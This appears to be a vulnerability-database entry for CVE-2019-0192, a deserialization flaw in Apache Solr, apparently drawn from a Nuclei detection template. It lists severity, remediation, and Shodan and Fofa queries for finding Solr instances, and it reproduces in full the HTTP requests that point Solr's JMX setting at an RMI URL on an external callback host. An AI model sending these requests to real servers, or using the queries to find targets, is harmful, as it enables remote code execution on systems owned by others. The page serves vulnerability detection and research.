🔙 목록으로 돌아가기

CVE-2019-0192: Apache Solr - Deserialization of Untrusted Data

TitleApache Solr - Deserialization of Untrusted Data
Authorhnd3884
SeverityCritical
ImpactUnauthenticated attackers can trigger remote code execution via unsafe deserialization by pointing the JMX server to a malicious RMI server, leading to complete Solr server compromise.
RemediationUpgrade to Apache Solr version 5.5.6, 6.6.6, or later versions that are not vulnerable.
CVSS Score9.8
EPSS Score0.9304
CVE IDCVE-2019-0192
CWE IDCWE-502
Shodan Querytitle:"Solr"
Fofa Querytitle="Solr
Tags cve cve2019 apache solr deserialization rce oast vkev vuln

🔍 Vulnerability Description

In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr’s unsafe deserialization to trigger remote code execution on the Solr side.

🌐 HTTP Request

GET /solr/admin/cores?wt=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /solr/uVxEzd/config HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://d5jp53ple0o45d52011gx9a6moxr6ip59.oast.live/obj"}}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0192.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-0192.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A